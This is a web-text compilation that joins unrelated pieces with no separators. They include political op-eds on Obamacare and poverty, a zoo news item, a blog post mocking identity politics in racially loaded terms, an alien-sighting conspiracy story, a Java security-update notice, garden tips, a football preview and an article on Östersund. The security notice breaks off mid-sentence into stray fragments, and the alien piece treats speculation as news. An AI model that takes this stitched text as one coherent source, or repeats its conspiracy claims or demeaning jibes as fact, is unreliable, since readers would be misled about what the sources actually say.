Our story stands as a cautionary tale. We have experienced how careless handling of our information by law enforcement and irresponsible news headlines endanger citizens’ privacy. We know our lives will never be the same, and we want to prevent others from having their privacy invaded merely for reporting abusive, potentially criminal, behavior. That is why we believe Congress must consider how the rights that we carefully safeguard in other forms deserve equal protection in this age of digital communication.
In a world where more and more people electronically communicate everything from the banal to their most personal desires, Congress must erect new protections for Americans’ electronic communications. The rights we’re guaranteed offline should apply online.
Learn more about your digital civil liberties: Sign up for breaking news alerts, follow us on Twitter, and like us on Facebook.Cincinnati Zoo Parents Under Investigation After Gorilla Shooting
Cincinnati Zoo: Parents Under Investigation After Gorilla Shooting
Breaking News
Cincinnati police are zeroing in on the parents of the 3-year-old boy who fell into Harambe the gorilla's enclosure... a strong sign they could still be charged with a crime.
Cincy PD says they are reviewing "the actions of the parents/family that led up to the incident." Cops make it clear they're NOT focusing on the Cincinnati Zoo -- since that falls under the United States Department of Agriculture's jurisdiction.
Critics have called for the parents -- Michelle Gregg and Deonne Dickerson -- to face negligence charges... blaming them for setting in motion the chain of events that led to Harambe's death.
Dickerson was not at the zoo when it all went down.Commenter Harry Baldwin notes:
This [viral video of a pretty white women being harassed on the streets of New York mostly by male People of Color] is just another one of those occasions where the various members of the Rag Tag coalition are reminded that they may not be true comrades. This reminds me of one of Steve’s posts on microaggressions from last year. The microaggression one woman reported was all the Nicaraguan men catcalling at her when she walked down a street in that country: “Hey! White girl! I love you! You are beautiful! Shouted to me on the street 15+ times a day during my study abroad experience in Nicaragua. I never truly understood what it meant to feel objectified until this experience. ”
The response was numerous angry accusations of white privilege:
– “This complaint of a microaggression is a microagression in and of itself. It is perpetuating the idea that ‘white beauty’ is ideal and that Latinos are machismo & objectify women.” – “Sorry your beauty was such an inconvenience while trying to study abroad in the second poorest nation in the Western Hemisphere, grappled by earthquakes, hurricanes, dictatorships, two revolutionary wars, oppression and a history of US interference and manipulation. – “I feel a hell of a lot more sexism coming from my white, male, American, ivy league-educated, nonprofit bosses than the constant catcalls coming from Dominican dudes, who are living in poverty that is directly related to my part of the world’s exploitation and oppression of theirs. You know our lives are like super f’ing easy in comparison, right? So much so that you can go study abroad, invade their lives and then complain when they act how their culture acts, wow. Even if it is objectifying (not saying it is), it isn’t your place to get offended. How bout you try to spend your time trying to genuinely and respectfully learn about culture and life and your role there instead?”
And then the commenters start arguing with each other, which is doubly fun but too confusing typographically to post here, so go read the whole thing there.
Harry asks:
Yes, the left-wing coalition is full of contradictions. How long can the KKKrazy Glue hold?
The KKKrazy Glue of the Democrats’ coalition has to be stoking hatred of white men. What else can hold them together?
But, white men still get most of the most valuable work done in our society. The Democrats don’t really want to be on the wrong side of most of the CEOs, for instance, as it becomes ever more obvious what this is all about.
So, expect an ever greater splintering of identity so that more CEOs can announced themselves oppressed as well: I’m a gay CEO! I’m not one of those cisgendered CEOs, I’m a transgendered CEO!
More importantly: I’m a pro-immigrant, pro-black, pro-woman, pro-gay, pro-trans CEO (even though I have five children total by my first and second wives)! I am an anti-Wrong Kind of White Men CEO! Are you offended by that? Well, that just proves you are the Wrong Kind of White Man!
So this kind of thing can go on and on for a long time.Senate Majority Leader Mitch McConnell takes questions at a press conference in 2015. (Reuters photo: Gary Cameron)
The Trump administration should force Democrats to negotiate by threatening to throw their staff onto the Obamacare exchanges.
President-elect Trump has promised to repeal and replace Obamacare in his first 100 days. The House, with a substantial Republican advantage, can easily pass any Obamacare bill Speaker Ryan sees fit. The Senate, however, faces a substantial roadblock. With only 51 Republican votes, Democrats can filibuster the Affordable Care Act’s repeal. Senate Majority Leader McConnell can bypass the filibuster in two ways, but he should resist the temptation. Passing Obamacare on a straight party-line vote was a mistake. Repealing it on a straight party-line vote would be an even bigger mistake. Republicans should not repeat the Democrats’ naïve and arrogant blunder from eight years ago. Swapping Obamacare for Trumpcare would simply flip the politics: Half the country would support it, and the other half would hate it. For health-care reform to be successful beyond 2020, it must be bipartisan.
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All of the landmark social-welfare and civil-rights laws enacted in the 20th century were passed with bipartisan support, often through messy political compromises and bargaining. The Social Security Act of 1935 was supported by 77 Republicans in the House, joined by 288 Democrats. In the Senate, 15 Republicans joined 60 Democrats. The Civil Rights Act of 1964 passed the Senate because of a coalition of 27 Republicans and 44 Democrats united to break a segregationist-led filibuster. The Social Security Amendments of 1965, which created Medicaid and Medicare, passed the House by a vote of 307–116, with 70 Republicans voting in favor. This monumental health-care legislation cleared the Senate by a vote of 70–24; 13 Republicans crossed the aisle. The Voting Rights Act of 1965 was passed with broad bipartisan support, as was the Civil Rights Act of 1968. In 1990, the Americans with Disabilities Act passed with 90 percent agreement in the House and Senate. But not Obamacare. It was passed without a single Republican vote in the Senate or House.
It was hubristic of President Obama to think that after enacting a monumental law, without any bipartisan buy-in, opponents would simply fall in line. As history played out, Republicans had no problem undermining a law they had no part in enacting and felt no attachment to. Senator Max Baucus, chairman of the Finance Committee that drafted the health-care bill, “fret[ted]” about the ACA’s origin. “It is my belief,” he said in December 2013, “that for major legislation to be durable, sustainable, it has to be bipartisan. I mean, one party can’t jam legislation down the other party’s throat. It leaves a bitter taste.” Baucus was right.
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Republicans do have the power to repeal huge chunks of Obamacare with 51 votes because of how it was enacted. In January 2010, after the election of Scott Brown of Massachusetts, the Senate Democrats lost their 60th vote. To avoid a Republican filibuster, Speaker Nancy Pelosi passed the bill through what is known as the budget-reconciliation process. With that approach, the bill could not be filibustered when it returned to the Senate.
RELATED: What Will Republicans Do about Obamacare Now?
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Eight years later, 51 Republicans can now use the exact same process to repeal portions of Obamacare, such as the Medicaid expansion and the payment of subsidies on the exchanges. However, as Avik Roy writes at Forbes, it can’t eliminate everything. “The partial repeal bill does not get rid of Obamacare’s tens of thousands of pages of insurance regulations,” Roy explains, as well as “the regulations that are responsible for the law’s drastic premium hikes.” If Republicans choose the reconciliation path, as some members are already considering, we would be stuck with Obamacare’s hollow shell. Gutting the subsidies, without eliminating the regulations that make insurance expensive, would be counterproductive: Premiums would continue to increase, and people would be unable to purchase policies. Even worse, it would permanently poison the well for prospects of future reform. That “bitter taste” Senator Baucus spoke of would linger in perpetuity.
A second approach would allow the GOP to eliminate Obamacare in its entirety with 51 votes by nuking the filibuster. In 2014, Senate Majority Leader Reid invoked the so-called “nuclear option” to remove the 60-vote threshold for confirming judges and other executive-branch appointments, with the exception of Supreme Court nominees. I fully expect Majority Leader McConnell to use the same parliamentary procedure to confirm President Trump’s first nominee to the high court — it is simply the next step in the downward spiral of our confirmation process.
Eliminating the filibuster for all legislation, however, is a much more drastic step. As a general matter, the filibuster favors conservatism, as it requires 60 percent of the Senate to expand the power of the federal government. Republicans may seek to maintain the filibuster as a precedent to prevent a future Democratic Senate from running roughshod over the cause of limited government. McConnell recently acknowledged that Republicans should not “act as if we’re going to be in the majority forever.”
Referring to the wisdom of keeping the filibuster, McConnell recently acknowledged that Republicans should not ‘act as if we’re going to be in the majority forever.’
But, with a healthy dose of reality, Republicans likely realize that, in the future, Senate Majority Leader Chuck Schumer would have no objection to eliminating the filibuster to support President Elizabeth Warren’s statist agenda. In this game of mutually assured destruction, Republicans may be tempted to move first. And if there was ever a single goal that would unify Republicans to take this extreme step, it would be the elimination of Obamacare. Fortunately, there is a third path. Republicans can force Democrats to the bargaining table with an offer they can’t refuse: Support reform or we’ll throw your staff onto Obamacare.
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In September 2009, when the ACA was being drafted, Senator Chuck Grassley of Iowa proposed an amendment requiring members of Congress and their staff to use the newly created Obamacare exchanges. “The more that Congress experiences the laws we pass,” Grassley said, “the better the laws are likely to be.” The veteran fiscal hawk added, “My interest in having Members of Congress participate in the exchange is consistent with my long-held view that Congress should live under the same laws it passes for the rest of the country.” The amendment, which was merged into the final Senate bill, provided that the federal government could offer members of Congress and their staff only health-insurance plans that were “created under” the ACA, or “through an Exchange established under” the new law.
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As a result of Grassley’s amendment, members of Congress and their staffers, unlike all other federal workers, would no longer be eligible for the generous Federal Employees Health Benefits Plan (FEHBP). Under FEHBP, the government pays approximately 75 percent of an employee’s annual premium. This annual tax-free contribution of between $5,000 and $2,000 was far more generous than the income-adjusted subsidies available on HealthCare.gov. Indeed, many well-compensated congressional employees—starting with a family of four that earns more than $100,000 a year — would be ineligible for any subsidies on the exchange. Under Grassley’s plan, they would now be put in the same position as other Americans who had to pay the full cost of their insurance, without any governmental assistance.
RELATED: When Will Liberals Answer for Obamacare’s Failures?
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The Grassley amendment was extremely unpopular on Capitol Hill. There were rumors that House and Senate staffers would resign if they were forced to pay full fare for their insurance. It is beyond ironic that employees who labored to pass Obamacare threatened to leave government if they had to actually use it. Politico reported that during the summer of 2013, House Speaker John Boehner and Majority Leader Harry Reid quietly collaborated to develop a “legislative fix” that would ensure that congressional benefits would not be disrupted. The duo even personally lobbied President Obama at the White House, while using a cover story so as not to arouse suspicions. However, as the movement to repeal and replace Obamacare grew during July and August, the House GOP leadership abandoned any efforts to modify the ACA, short of total repeal.
Where Congress would not act, President Obama did so unilaterally. The Office of Personnel Management (OPM) announced that members of Congress and their staff would be able to purchase health insurance on the District of Columbia’s Small Business Health Options Program, known as the D.C. SHOP exchange. The ACA authorized these new SHOP exchanges to offer a health-insurance marketplace for workers at small businesses with fewer than 50 employees. At President Obama’s direction, OPM determined that after a congressional employee enrolled on the District of Columbia’s SHOP Exchange, the government could then provide the same 75 percent contribution that was offered under the FEHBP. Thus, there would be no meaningful disruption in benefits for Hill staffers. This is a benefit that no one else on the SHOP exchange would be eligible for. Notwithstanding the Grassley amendment, which expressly sought to put congressional employees on the same footing as all other Americans on the exchanges, now congressional employees would be in the exact same position as they were before the enactment of the ACA. The OPM fix was a blatantly illegal effort to bypass an unpopular law.
RELATED: The GOP Should Be Obamacare’s Death Panel
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Senator Ron Johnson (R., Wis.) challenged the legality of the OPM rule in 2014. “OPM exceeded its statutory jurisdiction and legal authority,” he wrote in the Wall Street Journal. “In directing OPM to do so, President Obama once again chose political expediency instead of faithfully executing the law — even one of his own making.” Article II imposes on the president a duty to “take care that the laws be faithfully executed.” Alas, the federal court dismissed Johnson’s suit, finding that the senator was not injured by the payment of additional subsidies. (Indeed, most of President Obama’s illegal executive actions were shielded in court because parties were not injured and therefore lacked “standing” to challenge them.”)
But now there’s a new sheriff in town. With the stroke of a pen, President Trump can direct his Secretary of the Office of Personnel Management to rescind the old policy: Eliminate all special subsidies for members of Congress and their staff, and force them to buy insurance on HealthCare.gov like all other Americans. But this deal would not be so simple.
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#related#The subsidies should not be eliminated right away. Rather, the administration can use the largesse as leverage. Here’s the pitch to Democrats: Negotiate on a bipartisan ACA compromise, or else your staffers will have to go onto the ACA. If a deal is not reached by some specific date, then the subsidies are cut off. This cudgel will hit close to home, and bring Democrats from across the spectrum to the bargaining table, at the risk of a mass exodus of staffers. I seriously doubt the American people would shed tears for the plight of well-compensated government employees who are receiving generous and illegal health-insurance benefits. The optics here inure to President Trump’s benefit.
Once at the table, there would have to be serious discussions of a bipartisan reform. Again, if Republicans unilaterally advance their wish list of repealing Obamacare without any Democrat buy-in, health-care reform will remain mired in partisan politics. Majority Leader McConnell seemed to acknowledge this dynamic after the election. “We have been given a temporary lease on power, if you will,” he said, and the Senate must “use it responsibly.” The Capitol Hill veteran added, “I think what the American people are looking for is results. And to get results in the Senate, as all of you know, it requires some Democratic participation and cooperation.”
If there is any hope to create a sustainable alternative to the ACA, compromises must be made — and it will likely take more than 100 days to unravel a law that has been in effect for nearly 100 months. This blueprint, at a minimum, suggests how to start the art of this deal.Kick off the holiday season in Oakland with a new monthly rooftop night market: Town Social. Every second Thursday they’ll have a rotating group of food, craft, and arts vendors while local Bay Area DJs spin at their tiki bar.
Town Social: Rooftop Night Market
Every Second Thursday | 6 pm-10 pm
The Overlook Lounge | 344 20th St., Oakland
No Cover Charge with advance registration on Eventbrite
Dates & hours may vary each month so always check The Overlook on Facebook or Eventbrite first.
Town Social features:
Local food vendors & purveyors
Local craft artisans
Music provided by local Bay Area DJs
Bar with beer & wine
Lawn games
The event is free to attend and open to all ages. Bring your friends & family and kick-off the holiday season in style.America was once the land of Lady Liberty, beckoning the world: “Give me your tired, your poor, your huddled masses yearning to breathe free, the wretched refuse of your teeming shore. Send these, the homeless, tempest-tossed to me. I lift my lamp beside the golden door!”
No more.
Today’s America — at least as measured by the actions and inactions of the pariahs who roam its halls of power and the people who put them there — is insular, cruel and uncaring.
In this America, people blame welfare for creating poverty rather than for mitigating the impact of it. An NBC News/Wall Street Journal poll in June found that the No. 1 reason people gave for our continuing poverty crisis was: “Too much welfare that prevents initiative.”
In this America, the House can — as it did in July — pass a farm bill that left out the food stamp program at a time when a record number of Americans, nearly 48 million, are depending on the benefits.The video shows what seems to be an alien being peering out of a sewer pipe and then quickly withdrawing back into the pipe?
Spanish News Station Broadcasts North Carolina Alien Footage
The alien in question is stereotypical looking with its long elongated head and big eyes as it looks around the end of the pipe. The video was shown and reported on a Spanish news station, and the narrative is in Spanish, it is also difficult to see which of the news stations actually reported the incident.
The video has only recently emerged so it is around two years old and it is a bit obscure, but why has it only emerged after one year? Why was the video kept secret for all that time and now being allowed to surface on the internet?
Does Pipe Lead To Secret Government Underground Facility?
Since the video appeared on the internet there have been many questions raised. The biggest question, of course, was what was an alien doing hiding away in a sewage pipe in a remote region of North Carolina? Conspiracy theorists have wondered if the pipe actually leads back to a secret government operation located underground and perhaps the alien in question managed to escape from that location.
The video clip shows that it was taken on June 2015 and the time was 5.03pm and the date suggests that it was on the 24th. Other than that there has been very little by way of information about the video or who captured it. Conspiracy theorists have wondered why the person who took the video has not been shouting about the sighting from the rooftops and you would think that if they had seen an alien poking its head out of a sewer pipe they would want their name to be known and get on TV.
Video Reveals Stereotypical Grey Alien With Elongated Head
As often in the case of capturing so called alien activity on film the quality of the video is poor. However, it is not that poor that the alien cannot be seen and it is possible to even make out some of the details. There does seem to be a hand or limb holding onto the edge of the pipe, while the head peers around the side. The alien has a silver, white or grey color and the head is an oval shape, which is comparable to other grey aliens that have supposedly been seen around the globe.
While it has been suggested that the alien is hiding in a sewer pipe, there has not been any confirmation, and it might be a storm drain or some other type of pipe. When first looking at the video it looks as though there are two aliens that look out from the pipe, on closer inspection, this seems to be a particle blur, and this is more than likely due to the bad quality of the video. It was suggested that it might not be an alien as many people believe that sightings of so called aliens are in fact demons.
The alien does seem to be very curious about whoever is outside of the pipe recording the video, and you do have to wonder why someone would have been recording a sewage pipe out in a remote region unless of course they already knew that something was going to happen. This might suggest a prank. The person who is recording the video also seems to be too calm about the whole thing. Surely there would be more excited if someone saw an alien peeking out of a storm drain, perhaps even fear.
So was this an alien peering out of a sewer or drain pipe or was it nothing more than a hoax?
Originally published by:
www.freaklore.com/...Apple has released a Java for Mac update to fix multiple security security vulnerabilities, some serious enough to expose Mac OS X users to remote code execution attacks.
According to an Apple advisory, the most serious flaw could allow an untrusted Java applet to execute arbitrary code outside the Java sandbox. This could cause computer takeover attacks if an unpatched user simply surfs to a maliciously rigged Web site.
The Java for Mac patch, available for Mac OS X v10.5.8, Mac OS X Server v |
attract
Dicentra spectabilit ‘Valentine’ (Photo: Special to the Statesman Journal)
Astilbe ‘Rock n Roll’ (Photo: Special to the Statesman Journal)
Plant combination: Dicentra spectabilit ‘Valentine’ (bleeding heart), Astilbe ‘Rock n Roll’ and most any hosta from Garden Thyme Nursery.
Why good together: These three display wonderful textural contrasts, plus they overlap in the garden for an extended period of interest.
Features: The bleeding heart’s red and white flowers are the first to appear in early spring on a plant arching to a height of 26 to 28 inches. As it starts to fade, the hosta begins to unfurl its broad, smooth leaves and get to size. The astilbe ‘Rock n Roll’ is a late-spring-to-summer bloomer with bronze-green foliage and pure white blossoms. It can reach a height of 18 to 20 inches and does not like to dry out completely, like most astilbes.
Where to plant: All three plants like moist, rich soil and will grow well in partial shade. Bleeding hearts seem to prefer morning vs. afternoon sun here in the valley.
Tree sampling
Chamaecyparis obtusa Habari foreground, Acer palmatum Royle (red) and Acer palmatum Emerald Lace (background). (Photo: Special to the Statesman Journal)
Plant combination: Chamaecyparis obtuse Habari (conifer in foreground), Acer palmatum ‘Royle’ (red) and Acer palmatum ‘Emerald Lace’ (background) from Arbutus Garden Arts.
Why good together: The lacy texture of Japanese maples is a wonderful foil for the solid, dense texture of the conifer.
Features: Wonderful summer colors of the Japanese maples combine beautifully with the texture of the evergreen Chamaecyparis, which creates interest in the winter garden. Choose from so many sizes and textures of both maples and conifers.
Where to plant: Give this combinations at least a half day of sun and open exposure. Once the conifers and maples are established, the plants should be relatively drought tolerant.
Matching maples to conifers
Royle (red shrub), Emerald Lace (green left), Umegae (amber red center), Crimson Carole (red right). The golden weeping conifer is Cupressus macrocarpa Saligna aurea. (Photo: Special to the Statesman Journal)
Plant combination: Japanese maples Acer ‘Royle’ (red), Acer ‘Emerald Lace’ (green left), Acer ‘Umegae’ (amber upper) and Acer ‘Crimson Carole’ (upper right) combined with the golden weeping conifer, Cupressus macrocarpa Saligna aurea from Arbutus Garden Arts.
Why good together: Japanese maples, with their lacy forms and colors in summer, combine beautifully with conifers, which hold their color and texture year-round. The conifers will eventually be the overstory and winter focus when the maples are bare.
Features: Our favorite canopy and mid-story trees and shrubs are Japanese maples and conifers, thanks to their range of shade tolerance, size, form, seasonal color and texture. The combinations are endless. Then add groundcover plants, such as epimediums, and ephemerals, including trillium, species peonies, Hepatica and every woodland bulb you can imagine.
Where to plant: Begin with a blank slate in full sun and apply average water for first few years. Once trees and shrubs are established, the planting will be relatively drought-tolerant. Create a woodland!
Drought-tolerant buddies
Dicentra spectabilis ‘Alba’ (Photo: Special to the Statesman Journal)
Fritillaria meleagris (Photo: Special to the Statesman Journal)
Plant combination: White bleeding heart, Dicentra spectabilis ‘Alba’ and checkered fritillary, Fritillaria meleagris from White Oak Farm.
Why good together: This spring combination displays the arching stems of the white bleeding heart framing the delicate, nodding purple blooms of the checkered fritillary.
Features: ‘Alba’ grows 26 to 28 inches and displays delicate arching stems dripping with small, white, heart-shaped flowers. One to three showy, 2-inch bells top each 1-foot stem of the fritillary, and the blossoms are checkered and veined with purple.
Where to plant: Both plants are at home in morning sun, dappled light or shade. Surprisingly, both are drought tolerant and can be grown with no supplemental water if an earlier dormancy for the bleeding heart is acceptable. An average water regime will extend the blooming season for the bleeding heart.
Lovin’ lavender
Lavenders (clockwise from lower left), nasturtiums, beebalm (red), alliums (ball-shaped flowers), cleome, clematis (climber in upper right) and zinnias. (Photo: Special to the Statesman Journal)
Lavender Opal Rain (Photo: Special to the Statesman Journal)
Plant combination: Lavender ‘Opal Rain’ with annuals and perennials from Van Hevelingen Herb Nursery.
Why good together: In a wild, cottage-style garden, lavender plays a key role in anchoring the plantings and in helping to create an old-fashioned feeling. Plus, the evergreen, gray-green foliage helps anchor the garden in winter.
Features: Lavandula augustifolia ‘Opal Rain’ is a sensational lavender with a sweet fragrance. This plant forms a compact mound of gray-green foliage with sturdy 10- to 12-inch flower stems. The large pale pink calyces (‘flowers’) darken with age. Its culinary uses include flavoring sugar or adding to desserts and jams.
Where to plant: Lavenders demand full sun (at least a strong half day) and good drainage. They hate to be planted in heavy soils, especially during our cool, wet winters.
Pollinator pairing
Nepeta ‘Six Hills Giant’ with Aquilegia formosa. (Photo: Special to the Statesman Journal)
Plant combination: Catmint and Nepeta ‘Six Hills Giant’ with our native columbine, Aquilegia formosa.
Why good together: The profuse flower sprays of the catmint are a wonderful foil for the more delicate columbine flowering stems. Both plants attract many pollinators, especially bees and hummingbirds. Any variety of catmint will do, but the taller the better.
Features: This catmint grows to 30 inches tall by 4 feet in width — it’s a monster — and displays fabulous arching stems covered in blue flowers. Our native columbine can grow up to 4 feet tall in partial shade but normally tops out at about 3 feet and displays nodding blooms of yellow and orange.
Where to plant: Nepetas require full sun to bloom well and good drainage. Both require fairly good drainage.
Read or Share this story: http://stjr.nl/2puqpYGDefender Manny Monthe starts a three-game ban as Forest Green entertain Gloucestershire rivals Cheltenham.
Monthe was sent off just a few minutes after coming on as a second-half substitute in Tuesday's 3-2 defeat at Chesterfield. Rovers boss Mark Cooper says he is down to the "bare bones" for the Sky Bet League Two derby, with fitness doubts over Drissa Traore, Isaiah Osbourne and Charlie Cooper.
Dan Wishart stands by to make his first start since a 4-0 home defeat to Newport in mid-October.
Cheltenham boss Gary Johnson hopes to have Carl Winchester and Brian Graham available for the trip to the New Lawn. Midfielder Winchester was substituted as precaution during the midweek draw with Cambridge due to a calf problem, while striker Graham has missed the last two games because of a hamstring injury.
The Robins will have midfielder Kevin Dawson back from a three-game ban following his FA Cup sending off against Maidstone on November 4. Top-scorer Mohamed Eisa could be restored to the starting XI after being given a rest as an unused substitute on Tuesday but back-up goalkeeper Jon Flatt (shoulder) is likely to remain sidelined, while long-term absentee Jordan Cranston (torn hamstring) is definitely out.
Highlights of the Sky Bet League Two match between Chesterfield and Forest Green. Highlights of the Sky Bet League Two match between Chesterfield and Forest Green.
Opta stats
This is the first meeting between these two sides in the Football League; Forest Green will be Cheltenham's 76th different opponent in the EFL whilst this will be the Rovers' 20th game in League Two.
These sides did, however, meet in the FL Trophy back in October, with Forest Green Rovers coming from behind to win courtesy of goals from Reece Brown and Jordan Stevens.
Forest Green Rovers have won a league-high 10 points from losing positions this season.
The Robins have picked up just eight points from their last 48 available on the road in League Two (W1 D5 L10), and have conceded exactly three goals in each of their last three away games.Flavorwire is thrilled to announce its first-ever short fiction contest. In honor of May’s National Short Story Month, we’re offering a prize of $500 for one outstanding short story. To enter, simply send a story of 5,000 words or less — in the body of a message, not as an attachment — along with a brief author bio and all relevant contact information to flavorwirefiction@gmail.com by Friday, May 17. Flavorwire Literary Editor Emily Temple will judge all entries and announce the results on the 24th. We’ll publish the winning story, along with a handful of honorable mentions, on Flavorwire throughout the final week of May.
While all styles of short fiction are fair game, we can’t consider nonfiction or poetry submissions. Due to time constraints, Flavorwire can only accept entries via email and will be unable to provide feedback on individual stories. Simultaneous submissions are welcome, but only previously unpublished work will be eligible; entrants must notify us immediately if a story is selected for publication elsewhere.Place in Jämtland, Sweden
Östersund ( pronounced [œstɛˈʂɵnːd] (); Southern Sami: Staare) is an urban area (city) in Jämtland in the middle of Sweden. It is the seat of Östersund Municipality and the capital of Jämtland County. Östersund is located at the shores of Sweden's fifth largest lake, Storsjön, opposite the island Frösön, and is the only city in Jämtland. Östersund is the region's cultural and economical centre and by tradition a city of trade and commerce. Östersund had one of the most extensive garrisons in Sweden prior to its closure in the early-21st century. The city is the Mid Sweden University's largest campus site with approximately 7,000 students. With a total population of 44,327 (2010) Östersund is the 22nd most populous city in Sweden, the 46th most populous city in Scandinavia, and by far the largest inland city in Northern Sweden.
The city was the only Swedish city founded and chartered in the 18th century. Östersund was founded in order to create a trade monopoly over Jämtland whose inhabitants' lucrative trade annoyed the Swedish crown. The intention was to persuade the local farmers to deliver merchandise to middlemen in Östersund, but the population opposed this economic philosophy, and Östersund long remained small.[5] It took until the end of the 19th century for Östersund to truly become a city, after the arrival of the railroad and the economic liberalization of that time.
Östersund is situated in inland Scandinavia and connected to Sundsvall in the east on the Swedish coast, and Trondheim in the west at the shores of the Norwegian sea. Östersund is located in the middle of Scandinavia, in the middle of Sweden, in the middle of Jämtland County and in the middle of Östersund Municipality. As the most centrally located city in Sweden, the city credits itself as the centre of Sweden.[6][7]
Östersund is marketed as Vinterstaden – Winter City.[8][9] Winter City as a project is run by the Municipality together with city enterprises. Östersund has had a long history as a centre of outdoor activities with a modern cross-country ski stadium and an actual piste in the city itself. Östersund has also hosted several World Championships in various sports such as biathlon, speed skating and ski orienteering along with Swedish National Championships in cross country skiing and snocross. The city has been the applicant city of Sweden for several Winter Olympic Games, but has yet to host one. The precursor to the Winter Olympic Games, the Nordic Games, were however held at several occasions in the city, due to lack of snow in Stockholm.[10]
Geography [ edit ]
Satellite image of Östersund and the island of Frösön
Östersund is the only city in the province and it is located on the shore of the fifth largest lake in Sweden, Storsjön. The area surrounding this lake is commonly referred to as Storsjöbygden and this area has been described as the World's northern-most located genuine agricultural society in the inland with continental climate.[11]
The city sprawls along the eastern slopes of lake Storsjön and most of the city and the city core itself is located on the mainland, facing the non mainland part of the city, the island of Frösön, which for a very long time was the actual centre of Jämtland. Today, a sizeable part of the city's population live on the slopes of the island that face the city centre. Östersund is a bimunicipal town because a minor part of it with roughly 400 inhabitants is actually situated in Krokom Municipality.
The city spans across Östersundet and the city was named after this strait. Östersund can be directly translated from Swedish to English as "East Sound". The name of the strait derives from an older Jamtish name now present in the form Åstersånn.
Climate [ edit ]
Östersund has a subarctic climate (Köppen: Dfc) and is located in the far north of the north temperate climate zone. The cold Arctic winds that occasionally find their way to the city are called nordvästan (the north-westerner) or kallvästan (the cold-westerner) locally.[12]
Östersund and Frösön
However the winter climate is much warmer than most locations at similar latitudes. This is due to the gulf stream and the many passages in the mountain range, bringing warmer Atlantic winds to the city during winters. This somewhat maritime character also makes the summers in the city rather cool, in comparison to other towns in inland Scandinavia, which all have a more continental climate with cold winters and warm summers.[13] It contains a strong influence of the humid continental climate courtesy of its mild September lows extending the mild mean temperatures.
Though Östersund is in fact affected by the gulf stream it lacks the high frequency of rain following the currents. This is due to the Scandinavian Mountain Range acting as a natural barrier, receiving most of the precipitation, giving Östersund and the surrounding area a rain deficit.[13] Another issue that has to be taken into account is the higher elevation of Östersund compared to the weather stations in Ångermanland farther east. For example, Sollefteå at a similar latitude 130 kilometres (81 mi) to the east but at sea level, albeit inland, has almost three degrees warmer July days.
Östersund has a high exposition of sunlight and was the most sunny city in Sweden in the summer of 2007 (1 July to 9 August) with 654 hours of sun.[14] However, in comparison to east coast locations, sunshine is relatively low.
Climate data for Östersund Airport (Frösön), 2002–2015; precipitation 1961-1990; extremes since 1901 Month Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Year Record high °C (°F) 9.8
(49.6) 10.3
(50.5) 17.8
(64.0) 20.5
(68.9) 26.5
(79.7) 32.0
(89.6) 33.0
(91.4) 31.7
(89.1) 25.0
(77.0) 17.8
(64.0) 12.2
(54.0) 10.8
(51.4) 33.0
(91.4) Average high °C (°F) −3.1
(26.4) −2.3
(27.9) 1.6
(34.9) 7.4
(45.3) 12.5
(54.5) 16.5
(61.7) 19.7
(67.5) 18.1
(64.6) 12.8
(55.0) 6.4
(43.5) 1.7
(35.1) −1.3
(29.7) 7.5
(45.5) Daily mean °C (°F) −6.0
(21.2) −5.3
(22.5) −1.9
(28.6) 3.4
(38.1) 8.1
(46.6) 12.2
(54.0) 15.5
(59.9) 14.3
(57.7) 9.8
(49.6) 3.9
(39.0) −0.5
(31.1) −4.1
(24.6) 4.1
(39.4) Average low °C (°F) −8.9
(16.0) −8.4
(16.9) −5.4
(22.3) −0.5
(31.1) 3.8
(38.8) 7.9
(46.2) 11.2
(52.2) 10.5
(50.9) 6.8
(44.2) 1.5
(34.7) −2.7
(27.1) −6.9
(19.6) 0.7
(33.3) Record low °C (°F) −38.0
(−36.4) −34.6
(−30.3) −32.5
(−26.5) −22.0
(−7.6) −9.0
(15.8) −3.0
(26.6) −1.5
(29.3) −0.8
(30.6) −5.2
(22.6) −17.7
(0.1) −25.2
(−13.4) −38.1
(−36.6) −38.1
(−36.6) Average precipitation mm (inches) 27.0
(1.06) 21.4
(0.84) 22.6
(0.89) 28.3
(1.11) 34.9
(1.37) 56.8
(2.24) 75.7
(2.98) 59.9
(2.36) 58.6
(2.31) 36.6
(1.44) 31.2
(1.23) 31.1
(1.22) 484.2
(19.06) Mean monthly sunshine hours 32 70 156 199 242 256 259 201 132 87 40 24 1,698 Source #1: SMHI Temperature Data[15] Source #2: SMHI Precipitation[16]
Cityscape [ edit ]
Storsjöodjuret (the Great lake monster) is a cryptid said to inhabit lake Storsjön. This figure has often been used as a symbol for Östersund, along with the moose (see above).
Östersund was laid out with roads spanning from north to south countered by several alleys from east to west, which is why an alley in Östersund is synonymous with a road leading down towards Storsjön. From the inner city one may gaze upon Storsjön, Frösön and the Jamtish fell region with snow-clad mountains. This was made possible due to the topography and the grid plan.
The regularity in Östersund's road system and the slanting alleys leading from higher altitudes down towards Storsjön have created the "windows to the west" characteristic and unique to Östersund as a city.[17] The alleys, often seen as rather steep, have created the illusion that the houses in the city core are climbing to higher grounds. These houses were conformed upon their construction to fit with the slopes.
Badhusparken
The first city plan of Östersund was made with several large segments in the core being reserved as green areas. Östersund was thus planned as a green city and special lots, e.g. kryddgårdstomter "spice garden lots" were created along with construction lots. These lots shifted with a construction lot alternating with a spice garden lot. The garden lots are no longer existent since they too have been constructed upon. Many of the fences that separated each lot from another with trees and verdure were left intact. The large green areas are still present, with parks such as Kyrkparken, Österängsparken and Badhusparken being the most prominent. Badhusparken was once the location of a large bath house (hence the name Badhus-) though it was torn down in 1881 when the railway was constructed. A new larger two-storey pompous bath house was later built on poles a few metres from the shore, enabling the population to bathe in the waters of Storsjön during summers. This house was also torn down, when a new bath house with heated water was founded in 1938.[18]
The national romantic Sparbanken building illuminated during the Winter Festival.
When Östersund started to grow as a city in the late 19th century the houses consisted predominantly of wood, though stone had become popular in the central parts. These houses were heavily characterized by Neo-Gothicism and Neo-Renaissance.[19] A very common feature of these houses were towers, some even resembling those on old castles like the one on Hotell Grand at the main square. In the early 20th century a new age had come and in the main road, Prästgatan, the new age came fiercely. The wooden houses were replaced by stone buildings, because a city's well being was measured in how many stone buildings it had. At the same time military barracks were constructed in connection to the older settlement.[20] Jugendstil became popular too as an addition to the National Romantic style architecture.
Storgatan in Östersund with an alley, a window to the west, down towards the Storsjön lake.
